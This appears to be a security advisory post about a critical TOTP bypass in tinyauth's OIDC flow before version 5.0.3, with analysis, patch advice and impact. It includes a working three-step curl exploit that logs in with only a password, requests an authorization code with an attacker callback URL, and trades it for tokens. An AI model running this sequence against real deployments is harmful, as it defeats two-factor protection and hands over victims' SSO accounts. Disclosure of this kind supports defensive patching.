Listen to this Post
The vulnerability arises from a logical flaw in how tinyauth handles sessions for users with TOTP (Time-based One-Time Password) enabled. When a user logs in with just a password, the system correctly creates a session marked with TotpPending: true, indicating the second factor is still required. However, the OIDC authorization handler fails to validate this pending state. It only checks for the existence of a user context, which is populated even for incomplete sessions, rather than verifying a fully authenticated flag like IsLoggedIn. Consequently, an attacker with only a user’s password can use this partially authenticated session to request an authorization code from the `/api/oidc/authorize` endpoint. The system then generates and stores a valid code, which the attacker can exchange at the token endpoint for legitimate OIDC access and ID tokens, thereby gaining full access without ever providing the TOTP code .
dailycve form:
Platform: Tinyauth
Version: Prior 5.0.3
Vulnerability : TOTP Bypass
Severity: Critical
date: March 12, 2026
Prediction: Patched in 5.0.3
What Undercode Say:
Analytics:
The core issue is an authorization check omission in the OIDC flow. The context middleware correctly identifies TOTP-pending sessions, but the OIDC controller (internal/controller/oidc_controller.go:105-116) does not enforce the `IsLoggedIn` or `TotpPending` flags, trusting only the existence of a user context. This contrasts with the proxy controller, which includes proper guards, highlighting a development inconsistency. The vulnerability completely neutralizes MFA for any user in an instance with OIDC enabled, transforming a password compromise into a full account takeover .
Exploit:
An attacker can exploit this with a simple sequence of HTTP requests. First, they initiate a login with only the victim’s password:
curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
-H "Content-Type: application/json" \
-d '{"username":"victim","password":"compromised-password"}'
Then, using the session cookie from the incomplete login, they request an OIDC auth code:
curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
-H "Content-Type: application/json" \
-d '{"client_id":"valid-client-id","redirect_uri":"http://attacker/callback","response_type":"code","scope":"openid","state":"xyz"}'
Finally, they exchange the obtained code for tokens:
curl -X POST http://localhost:3000/api/oidc/token \ -u "valid-client-id:client-secret" \ -d "grant_type=authorization_code&code=<AUTH_CODE>&redirect_uri=http://attacker/callback"
The response provides valid `access_token` and `id_token` for the victim, bypassing TOTP entirely .
Protection from this CVE:
The primary fix is to update tinyauth to version 5.0.3 or later. The patch likely modifies the OIDC authorize handler to explicitly check the session’s `IsLoggedIn` status and reject any request where `TotpPending` is true. As a defense-in-depth measure, administrators should ensure that OIDC clients are only created and used when absolutely necessary, as the vulnerable endpoint is only exposed when OIDC is configured .
Impact:
Successful exploitation results in a complete bypass of TOTP/MFA. An attacker with a user’s password can obtain SSO tokens, compromising not only tinyauth but also all downstream applications that rely on it as an OIDC identity provider. This undermines the fundamental security purpose of the second factor, allowing unauthorized access to any integrated service for the victim user .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
